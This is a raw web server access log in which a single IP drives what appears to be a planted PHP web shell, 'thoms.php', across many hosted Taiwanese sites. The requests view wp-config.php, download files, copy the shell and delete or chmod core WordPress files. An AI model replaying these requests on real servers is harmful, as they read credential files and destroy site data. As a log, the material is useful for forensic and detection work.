45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20283 "https://163.245.207.76/thoms.php?copy=beauty-dental.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11455 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20225 "https://163.245.207.76/thoms.php?copy=bestjudy.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wp-content HTTP/1.1" 200 11340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 200 11400 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=cgi-bin HTTP/1.1" 200 11313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20278 "https://163.245.207.76/thoms.php?copy=beauty-dental.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=upgrade HTTP/1.1" 200 11363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bossini.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=bft.com.tw HTTP/1.1" 200 11447 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=betcity.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20488 "https://163.245.207.76/thoms.php?copy=beauty-dental.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 12042 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=error_log HTTP/1.1" 200 13999 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?dl=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 17501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 17456 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:36 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&finish=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=filefuns.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 13423 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=license.txt&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p= HTTP/1.1" 200 20488 "https://163.245.207.76/thoms.php?copy=beauty-dental.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 17500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=upgrade&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=thoms.php HTTP/1.1" 200 11816 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fthoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 11470 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=biotaiwan.com.tw HTTP/1.1" 200 17500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-load.php HTTP/1.1" 200 13653 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?chmod=public-languages&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?chmod=wp-mail.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=wp-config.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-trackback.php&p=biotaiwan.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=cgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 17501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-content&p= HTTP/1.1" 200 12103 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-config.php HTTP/1.1" 200 13712 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?dl=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?chmod=wp-content&p=biotaiwan.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?chmod=index.php&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 59132 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fmah.php&p=biotaiwan.com.tw HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=readme.html&p=biotaiwan.com.tw HTTP/1.1" 200 17490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:37 -0400] "GET /thoms.php?del=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 17371 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=biotaiwan.com.tw HTTP/1.1" 200 11488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?del=locoy.php&p=biotaiwan.com.tw HTTP/1.1" 200 17536 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?del=wp-cron.php&p=biotaiwan.com.tw HTTP/1.1" 200 17487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade&p= HTTP/1.1" 200 12120 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?del=xmlrpc.php&p=biotaiwan.com.tw HTTP/1.1" 200 17503 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=wp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 11485 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-activate.php&p=biotaiwan.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=wp-settings.php&p=biotaiwan.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=upgrade&p=biotaiwan.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 11491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?del=.well-known&p=biotaiwan.com.tw HTTP/1.1" 200 17476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.htaccess&p=biotaiwan.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-activate.php HTTP/1.1" 200 14824 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-cron.php HTTP/1.1" 200 14183 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=xmlrpc.php HTTP/1.1" 200 13374 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 13279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?del=wp-content&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?dl=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw HTTP/1.1" 200 17501 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?dl=license.txt&p=biotaiwan.com.tw HTTP/1.1" 200 17500 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=readme.html HTTP/1.1" 200 15231 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2F.well-known&p= HTTP/1.1" 200 12105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=error_log&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?p=biotaiwan.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?chmod=cgi-bin&p=biotaiwan.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:38 -0400] "GET /thoms.php?dl=wp-load.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin&p= HTTP/1.1" 200 12102 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Freadme.html&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?del=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 17502 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Flicense.txt&p=biotaiwan.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?del=wp-signup.php&p=biotaiwan.com.tw HTTP/1.1" 200 17504 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:39 -0400] "GET /thoms.php?dl=readme.html&p=biotaiwan.com.tw HTTP/1.1" 200 17488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
